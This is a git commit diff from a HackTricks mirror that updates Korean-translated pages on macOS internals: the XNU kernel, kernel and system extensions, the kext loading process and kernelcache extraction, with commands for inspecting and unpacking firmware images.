mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
88099d85e7
commit
2af02f4a1d
5 changed files with 454 additions and 405 deletions
|
@ -1,166 +1,97 @@
|
|||
# macOS 커널 및 시스템 확장
|
||||
# macOS Kernel & System Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## XNU 커널
|
||||
## XNU Kernel
|
||||
|
||||
**macOS의 핵심은 XNU**로, "X is Not Unix"의 약자입니다. 이 커널은 기본적으로 **Mach 마이크로커널**(나중에 설명됨)과 **버클리 소프트웨어 배포(BSD)**의 요소로 구성됩니다. XNU는 또한 **I/O Kit이라는 시스템을 통해 커널 드라이버에 대한 플랫폼을 제공**합니다. XNU 커널은 Darwin 오픈 소스 프로젝트의 일부이며, **소스 코드가 자유롭게 접근 가능**합니다.
|
||||
macOS의 **핵심은 XNU**로, "X는 유닉스가 아니다"를 의미합니다. 이 커널은 기본적으로 **Mach 마이크로커널**(후에 논의될 예정)과 **버클리 소프트웨어 배포(BSD)**의 요소로 구성되어 있습니다. XNU는 또한 **I/O Kit이라는 시스템을 통해 커널 드라이버를 위한 플랫폼을 제공합니다**. XNU 커널은 다윈 오픈 소스 프로젝트의 일부로, **소스 코드는 자유롭게 접근할 수 있습니다**.
|
||||
|
||||
보안 연구원이나 Unix 개발자의 관점에서 볼 때, **macOS**는 우아한 GUI와 다양한 사용자 정의 애플리케이션을 갖춘 **FreeBSD** 시스템과 매우 **유사**할 수 있습니다. BSD용으로 개발된 대부분의 애플리케이션은 수정 없이 macOS에서 컴파일 및 실행될 수 있습니다. Unix 사용자에게 익숙한 명령줄 도구들이 macOS에 모두 포함되어 있기 때문입니다. 그러나 XNU 커널에는 Mach가 포함되어 있기 때문에 전통적인 Unix와 macOS 간에는 몇 가지 중요한 차이가 있으며, 이러한 차이로 인해 잠재적인 문제가 발생하거나 독특한 장점을 제공할 수 있습니다.
|
||||
보안 연구자나 유닉스 개발자의 관점에서 **macOS**는 우아한 GUI와 다양한 맞춤형 애플리케이션을 갖춘 **FreeBSD** 시스템과 매우 **유사하게** 느껴질 수 있습니다. BSD를 위해 개발된 대부분의 애플리케이션은 수정 없이 macOS에서 컴파일되고 실행될 수 있으며, 유닉스 사용자에게 친숙한 명령줄 도구가 모두 macOS에 존재합니다. 그러나 XNU 커널이 Mach을 포함하고 있기 때문에 전통적인 유닉스 유사 시스템과 macOS 간에는 몇 가지 중요한 차이점이 있으며, 이러한 차이점은 잠재적인 문제를 일으키거나 독특한 이점을 제공할 수 있습니다.
|
||||
|
||||
XNU의 오픈 소스 버전: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
|
||||
### Mach
|
||||
|
||||
Mach는 **UNIX 호환성**을 갖춘 **마이크로커널**입니다. 그 중요한 설계 원칙 중 하나는 **커널 공간에서 실행되는 코드 양을 최소화**하고 파일 시스템, 네트워킹, I/O와 같은 일반적인 커널 기능을 **사용자 수준 작업으로 실행**할 수 있도록 하는 것입니다.
|
||||
Mach는 **UNIX 호환**을 위해 설계된 **마이크로커널**입니다. 그 주요 설계 원칙 중 하나는 **커널** 공간에서 실행되는 **코드**의 양을 **최소화**하고 대신 파일 시스템, 네트워킹 및 I/O와 같은 많은 일반적인 커널 기능이 **사용자 수준 작업으로 실행되도록 허용하는 것이었습니다**.
|
||||
|
||||
XNU에서 Mach는 **프로세서 스케줄링, 멀티태스킹 및 가상 메모리 관리**와 같은 커널이 일반적으로 처리하는 많은 중요한 저수준 작업을 담당합니다.
|
||||
XNU에서 Mach는 커널이 일반적으로 처리하는 많은 중요한 저수준 작업, 즉 프로세서 스케줄링, 멀티태스킹 및 가상 메모리 관리 등을 **책임집니다**.
|
||||
|
||||
### BSD
|
||||
|
||||
XNU **커널**은 또한 **FreeBSD** 프로젝트에서 파생된 상당한 양의 코드를 **통합**합니다. 이 코드는 Mach와 함께 **커널의 일부로 실행**됩니다. 그러나 XNU 내의 FreeBSD 코드는 Mach와의 호환성을 보장하기 위해 수정이 필요했기 때문에 원래 FreeBSD 코드와 상당히 다를 수 있습니다. FreeBSD는 다음을 포함한 많은 커널 작업에 기여합니다:
|
||||
XNU **커널**은 또한 **FreeBSD** 프로젝트에서 파생된 상당량의 코드를 **포함합니다**. 이 코드는 **Mach**와 함께 커널의 일부로 같은 주소 공간에서 실행됩니다. 그러나 XNU 내의 FreeBSD 코드는 Mach과의 호환성을 보장하기 위해 수정이 필요했기 때문에 원래 FreeBSD 코드와 상당히 다를 수 있습니다. FreeBSD는 다음을 포함한 많은 커널 작업에 기여합니다:
|
||||
|
||||
* 프로세스 관리
|
||||
* 시그널 처리
|
||||
* 사용자 및 그룹 관리를 포함한 기본 보안 메커니즘
|
||||
* 시스템 콜 인프라
|
||||
* 신호 처리
|
||||
* 사용자 및 그룹 관리 등 기본 보안 메커니즘
|
||||
* 시스템 호출 인프라
|
||||
* TCP/IP 스택 및 소켓
|
||||
* 방화벽 및 패킷 필터링
|
||||
|
||||
BSD와 Mach 간의 상호 작용을 이해하는 것은 그들의 다른 개념적 프레임워크 때문에 복잡할 수 있습니다. 예를 들어, BSD는 프로세스를 기본 실행 단위로 사용하고, Mach는 스레드를 기반으로 작동합니다. 이 불일치는 XNU에서 **각 BSD 프로세스를 정확히 하나의 Mach 스레드를 포함하는 Mach 태스크와 연관**시킴으로써 조화됩니다. BSD의 fork() 시스템 호출을 사용할 때, 커널 내의 BSD 코드는 Mach 함수를 사용하여 태스크와 스레드 구조를 만듭니다.
|
||||
BSD와 Mach 간의 상호작용을 이해하는 것은 그들의 개념적 프레임워크가 다르기 때문에 복잡할 수 있습니다. 예를 들어, BSD는 프로세스를 기본 실행 단위로 사용하는 반면, Mach은 스레드를 기반으로 작동합니다. 이 불일치는 XNU에서 **각 BSD 프로세스를 하나의 Mach 스레드를 포함하는 Mach 작업과 연결하여 조정됩니다**. BSD의 fork() 시스템 호출이 사용될 때, 커널 내의 BSD 코드는 Mach 함수를 사용하여 작업 및 스레드 구조를 생성합니다.
|
||||
|
||||
또한, **Mach와 BSD는 각각 다른 보안 모델을 유지**합니다: **Mach의** 보안 모델은 **포트 권한**에 기반하며, BSD의 보안 모델은 **프로세스 소유권**에 기반합니다. 이 두 모델 간의 불일치로 인해 로컬 권한 상승 취약점이 가끔 발생했습니다. 일반 시스템 호출 외에도 **Mach 트랩**이 있어 사용자 공간 프로그램이 커널과 상호 작용할 수 있습니다. 이러한 다른 요소들이 함께 조합되어 macOS 커널의 다면적이고 하이브리드 아키텍처를 형성합니다.
|
||||
게다가, **Mach과 BSD는 각각 다른 보안 모델을 유지합니다**: **Mach의** 보안 모델은 **포트 권한**에 기반하고, BSD의 보안 모델은 **프로세스 소유권**에 기반합니다. 이 두 모델 간의 차이로 인해 때때로 로컬 권한 상승 취약점이 발생했습니다. 일반적인 시스템 호출 외에도 **사용자 공간 프로그램이 커널과 상호작용할 수 있도록 하는 Mach 트랩도 있습니다**. 이러한 다양한 요소들이 함께 macOS 커널의 다면적이고 하이브리드 아키텍처를 형성합니다.
|
||||
|
||||
### I/O Kit - 드라이버
|
||||
### I/O Kit - Drivers
|
||||
|
||||
I/O Kit은 XNU 커널의 오픈 소스, 객체 지향 **장치 드라이버 프레임워크**로, **동적으로 로드되는 장치 드라이버**를 처리합니다. 이를 통해 다양한 하드웨어를 지원하기 위해 커널에 모듈식 코드를 실시간으로 추가할 수 있습니다.
|
||||
I/O Kit은 XNU 커널 내의 오픈 소스 객체 지향 **장치 드라이버 프레임워크**로, **동적으로 로드된 장치 드라이버**를 처리합니다. 이는 다양한 하드웨어를 지원하며 커널에 모듈식 코드를 즉시 추가할 수 있게 해줍니다.
|
||||
|
||||
{% content-ref url="macos-iokit.md" %}
|
||||
[macos-iokit.md](macos-iokit.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### IPC - 프로세스 간 통신
|
||||
### IPC - Inter Process Communication
|
||||
|
||||
{% content-ref url="../macos-proces-abuse/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 커널캐시
|
||||
## macOS Kernel Extensions
|
||||
|
||||
**커널캐시**는 XNU 커널의 **미리 컴파일 및 미리 연결된 버전**으로, 필수 장치 **드라이버** 및 **커널 확장**을 포함합니다. 이는 **압축된** 형식으로 저장되며 부팅 프로세스 중에 메모리로 압축 해제됩니다. 커널캐시는 부팅 시 동적으로 이러한 구성 요소를 로드하고 연결하는 데 소요되는 시간과 리소스를 줄여줌으로써 **빠른 부팅 시간**을 지원합니다.
|
||||
macOS는 **커널 확장**(.kext)을 로드하는 데 매우 제한적입니다. 이는 코드가 높은 권한으로 실행되기 때문입니다. 실제로 기본적으로 우회 방법이 발견되지 않는 한 거의 불가능합니다.
|
||||
|
||||
iOS에서는 **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**에 위치하며 macOS에서는 **`find / -name kernelcache 2>/dev/null`** 또는 **`mdfind kernelcache | grep kernelcache`**로 찾을 수 있습니다.
|
||||
|
||||
**`kextstat`**를 실행하여 로드된 커널 확장을 확인할 수 있습니다.
|
||||
|
||||
#### IMG4
|
||||
|
||||
IMG4 파일 형식은 Apple이 iOS 및 macOS 장치에서 **펌웨어 구성 요소**(예: **커널캐시**)를 안전하게 **저장하고 확인**하기 위해 사용하는 컨테이너 형식입니다. IMG4 형식에는 헤더와 실제 페이로드(커널 또는 부트로더와 같은)를 포함하는 여러 태그가 포함되어 있으며, 서명, 일련의 매니페스트 속성을 포함합니다. 이 형식은 암호화 검증을 지원하여 장치가 실행하기 전에 펌웨어 구성 요소의 진위성과 무결성을 확인할 수 있습니다.
|
||||
|
||||
일반적으로 다음 구성 요소로 구성됩니다:
|
||||
|
||||
* **페이로드 (IM4P)**:
|
||||
* 종종 압축됨 (LZFSE4, LZSS 등)
|
||||
* 선택적으로 암호화됨
|
||||
* **매니페스트 (IM4M)**:
|
||||
* 서명 포함
|
||||
* 추가 키/값 사전
|
||||
* **복원 정보 (IM4R)**:
|
||||
* APNonce로도 알려짐
|
||||
* 일부 업데이트의 재생 방지
|
||||
* 선택 사항: 일반적으로 이것은 찾을 수 없음
|
||||
|
||||
커널캐시를 압축 해제하세요:
|
||||
```bash
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
#### 커널캐시 심볼
|
||||
|
||||
가끔 애플은 **심볼**이 포함된 **커널캐시**를 공개합니다. [https://theapplewiki.com](https://theapplewiki.com/)의 링크를 따라가면 심볼이 포함된 펌웨어를 다운로드할 수 있습니다.
|
||||
|
||||
### IPSW
|
||||
|
||||
이것들은 애플 **펌웨어**로 [**https://ipsw.me/**](https://ipsw.me/)에서 다운로드할 수 있습니다. 다른 파일들 중에 **커널캐시**가 포함되어 있을 것입니다.\
|
||||
파일을 **추출**하려면 그냥 **압축을 푸세요**.
|
||||
|
||||
펌웨어를 추출한 후에는 다음과 같은 파일이 나올 것입니다: **`kernelcache.release.iphone14`**. 이것은 **IMG4** 형식이며, 다음과 같은 명령으로 관련 정보를 추출할 수 있습니다:
|
||||
|
||||
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
다음 명령어를 사용하여 추출된 커널캐시의 심볼을 확인할 수 있습니다: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||
|
||||
이제 우리는 **모든 익스텐션** 또는 **관심 있는 하나를 추출**할 수 있습니다:
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
## Extract com.apple.security.sandbox
|
||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||
|
||||
# Extract all
|
||||
kextex_all kernelcache.release.iphone14.e
|
||||
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## macOS 커널 확장자
|
||||
|
||||
macOS는 코드가 실행될 때 높은 권한으로 실행되기 때문에 **커널 확장자**(.kext)를 로드하는 것에 매우 제한적입니다. 사실, 기본적으로는 사실상 불가능합니다(우회 방법을 찾지 않는 이상).
|
||||
다음 페이지에서는 macOS가 **kernelcache** 내에서 로드하는 `.kext`를 복구하는 방법도 볼 수 있습니다:
|
||||
|
||||
{% content-ref url="macos-kernel-extensions.md" %}
|
||||
[macos-kernel-extensions.md](macos-kernel-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### macOS 시스템 확장자
|
||||
### macOS System Extensions
|
||||
|
||||
커널 확장자 대신 macOS는 시스템 확장자를 만들었는데, 이는 사용자 수준 API를 제공하여 커널과 상호 작용할 수 있습니다. 이렇게 함으로써 개발자는 커널 확장자를 사용하지 않을 수 있습니다.
|
||||
커널 확장을 사용하는 대신 macOS는 커널과 상호작용하기 위한 사용자 수준 API를 제공하는 시스템 확장을 만들었습니다. 이렇게 하면 개발자는 커널 확장을 사용할 필요가 없습니다.
|
||||
|
||||
{% content-ref url="macos-system-extensions.md" %}
|
||||
[macos-system-extensions.md](macos-system-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 참고 자료
|
||||
## References
|
||||
|
||||
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 공유하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# macOS Kernel Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Basic Information
|
||||
|
||||
커널 확장(Kexts)은 **`.kext`** 확장자를 가진 **패키지**로, **macOS 커널 공간에 직접 로드**되어 주요 운영 체제에 추가 기능을 제공합니다.
|
||||
커널 확장(Kexts)은 **`.kext`** 확장자를 가진 **패키지**로, **macOS 커널 공간에 직접 로드**되어 운영 체제에 추가 기능을 제공합니다.
|
||||
|
||||
### Requirements
|
||||
|
||||
|
@ -27,18 +27,18 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* 커널 확장은 **커널 코드 서명 인증서로 서명되어야 하며**, 이는 **Apple에 의해 부여될 수 있습니다**. 누가 회사와 그 필요성에 대해 자세히 검토할 것입니다.
|
||||
* 커널 확장은 또한 **노타리제이션**되어야 하며, Apple은 이를 악성 소프트웨어에 대해 확인할 수 있습니다.
|
||||
* 커널 확장은 **커널 코드 서명 인증서로 서명되어야 하며**, 이는 **Apple에 의해 부여될 수 있습니다**. 누가 회사와 그 필요성을 자세히 검토할 것입니다.
|
||||
* 커널 확장은 또한 **노타리제이션**되어야 하며, Apple은 이를 악성 소프트웨어에 대해 검사할 수 있습니다.
|
||||
* 그런 다음, **root** 사용자만이 **커널 확장을 로드할 수 있으며** 패키지 내의 파일은 **root에 속해야 합니다**.
|
||||
* 업로드 과정 중, 패키지는 **보호된 비루트 위치**에 준비되어야 합니다: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant).
|
||||
* 마지막으로, 로드하려고 할 때 사용자는 [**확인 요청을 받게 됩니다**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) 그리고, 수락되면 컴퓨터는 **재시작되어야** 합니다.
|
||||
* 업로드 과정 중에 패키지는 **보호된 비루트 위치**에 준비되어야 합니다: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant).
|
||||
* 마지막으로, 로드하려고 할 때 사용자는 [**확인 요청을 받게 됩니다**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) 그리고, 수락되면 컴퓨터는 **재시작**되어야 합니다.
|
||||
|
||||
### Loading process
|
||||
|
||||
Catalina에서는 다음과 같았습니다: **검증** 과정이 **사용자 공간**에서 발생한다는 점이 흥미롭습니다. 그러나 **`com.apple.private.security.kext-management`** 권한이 있는 애플리케이션만이 **커널에 확장을 로드하도록 요청할 수 있습니다**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
카탈리나에서는 이렇게 진행되었습니다: **검증** 과정이 **사용자 공간**에서 발생한다는 점이 흥미롭습니다. 그러나 **`com.apple.private.security.kext-management`** 권한이 있는 애플리케이션만이 **커널에 확장을 로드하도록 요청할 수 있습니다**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli **가** 확장을 로드하기 위한 **검증** 과정을 **시작합니다**
|
||||
* **Mach 서비스**를 사용하여 **`kextd`**와 통신합니다.
|
||||
1. **`kextutil`** CLI가 **확장을 로드하기 위한 검증** 과정을 **시작합니다**
|
||||
* **`kextd`**와 **Mach 서비스**를 사용하여 통신합니다.
|
||||
2. **`kextd`**는 **서명**과 같은 여러 가지를 확인합니다.
|
||||
* **`syspolicyd`**와 통신하여 확장이 **로드될 수 있는지 확인합니다**.
|
||||
3. **`syspolicyd`**는 확장이 이전에 로드되지 않았다면 **사용자에게 요청**합니다.
|
||||
|
@ -47,22 +47,119 @@ Catalina에서는 다음과 같았습니다: **검증** 과정이 **사용자
|
|||
|
||||
**`kextd`**가 사용 불가능한 경우, **`kextutil`**이 동일한 검사를 수행할 수 있습니다.
|
||||
|
||||
## Referencias
|
||||
### Enumeration (loaded kexts)
|
||||
```bash
|
||||
# Get loaded kernel extensions
|
||||
kextstat
|
||||
|
||||
# Get dependencies of the kext number 22
|
||||
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
|
||||
```
|
||||
## Kernelcache
|
||||
|
||||
{% hint style="danger" %}
|
||||
커널 확장 프로그램이 `/System/Library/Extensions/`에 있어야 하지만, 이 폴더에 가면 **이진 파일을 찾을 수 없습니다**. 이는 **kernelcache** 때문이며, 하나의 `.kext`를 리버스 엔지니어링하려면 이를 얻는 방법을 찾아야 합니다.
|
||||
{% endhint %}
|
||||
|
||||
**kernelcache**는 **XNU 커널의 미리 컴파일되고 미리 링크된 버전**과 필수 장치 **드라이버** 및 **커널 확장 프로그램**을 포함합니다. 이는 **압축된** 형식으로 저장되며 부팅 과정 중 메모리로 압축 해제됩니다. kernelcache는 커널과 중요한 드라이버의 실행 준비가 된 버전을 제공하여 부팅 시간을 단축시키고, 부팅 시 이러한 구성 요소를 동적으로 로드하고 링크하는 데 소요되는 시간과 자원을 줄여줍니다.
|
||||
|
||||
### Local Kernelcache
|
||||
|
||||
iOS에서는 **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**에 위치하며, macOS에서는 **`find / -name "kernelcache" 2>/dev/null`**로 찾을 수 있습니다. \
|
||||
제 경우 macOS에서 찾은 위치는:
|
||||
|
||||
* `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
|
||||
|
||||
#### IMG4
|
||||
|
||||
IMG4 파일 형식은 Apple이 iOS 및 macOS 장치에서 펌웨어 구성 요소(예: **kernelcache**)를 안전하게 **저장하고 검증하기 위해** 사용하는 컨테이너 형식입니다. IMG4 형식은 헤더와 여러 태그를 포함하여 실제 페이로드(예: 커널 또는 부트로더), 서명 및 일련의 매니페스트 속성을 캡슐화합니다. 이 형식은 암호화 검증을 지원하여 장치가 실행하기 전에 펌웨어 구성 요소의 진위와 무결성을 확인할 수 있도록 합니다.
|
||||
|
||||
일반적으로 다음 구성 요소로 구성됩니다:
|
||||
|
||||
* **Payload (IM4P)**:
|
||||
* 종종 압축됨 (LZFSE4, LZSS, …)
|
||||
* 선택적으로 암호화됨
|
||||
* **Manifest (IM4M)**:
|
||||
* 서명 포함
|
||||
* 추가 키/값 사전
|
||||
* **Restore Info (IM4R)**:
|
||||
* APNonce로도 알려짐
|
||||
* 일부 업데이트의 재생을 방지
|
||||
* 선택 사항: 일반적으로 발견되지 않음
|
||||
|
||||
Kernelcache 압축 해제:
|
||||
```bash
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### 다운로드 
|
||||
|
||||
* [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
|
||||
|
||||
[https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases)에서 모든 커널 디버그 키트를 찾을 수 있습니다. 다운로드하여 마운트한 후 [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) 도구로 열고 **`.kext`** 폴더에 접근하여 **추출**할 수 있습니다.
|
||||
|
||||
다음으로 기호를 확인하세요:
|
||||
```bash
|
||||
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
|
||||
```
|
||||
* [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
|
||||
|
||||
가끔 Apple은 **kernelcache**와 함께 **symbols**를 출시합니다. 해당 페이지의 링크를 따라가면 **symbols**가 포함된 일부 펌웨어를 다운로드할 수 있습니다. 펌웨어에는 다른 파일들 중에 **kernelcache**가 포함되어 있습니다.
|
||||
|
||||
파일을 **추출**하려면 `.ipsw` 확장자를 `.zip`으로 변경한 후 **압축을 풉니다**.
|
||||
|
||||
펌웨어를 추출한 후에는 **`kernelcache.release.iphone14`**와 같은 파일을 얻게 됩니다. 이 파일은 **IMG4** 형식이며, 다음을 사용하여 흥미로운 정보를 추출할 수 있습니다:
|
||||
|
||||
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### 커널 캐시 검사
|
||||
|
||||
커널 캐시에 기호가 있는지 확인하십시오.
|
||||
```bash
|
||||
nm -a kernelcache.release.iphone14.e | wc -l
|
||||
```
|
||||
이제 **모든 확장** 또는 **관심 있는 확장**을 **추출할 수 있습니다:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
## Extract com.apple.security.sandbox
|
||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||
|
||||
# Extract all
|
||||
kextex_all kernelcache.release.iphone14.e
|
||||
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## 참조
|
||||
|
||||
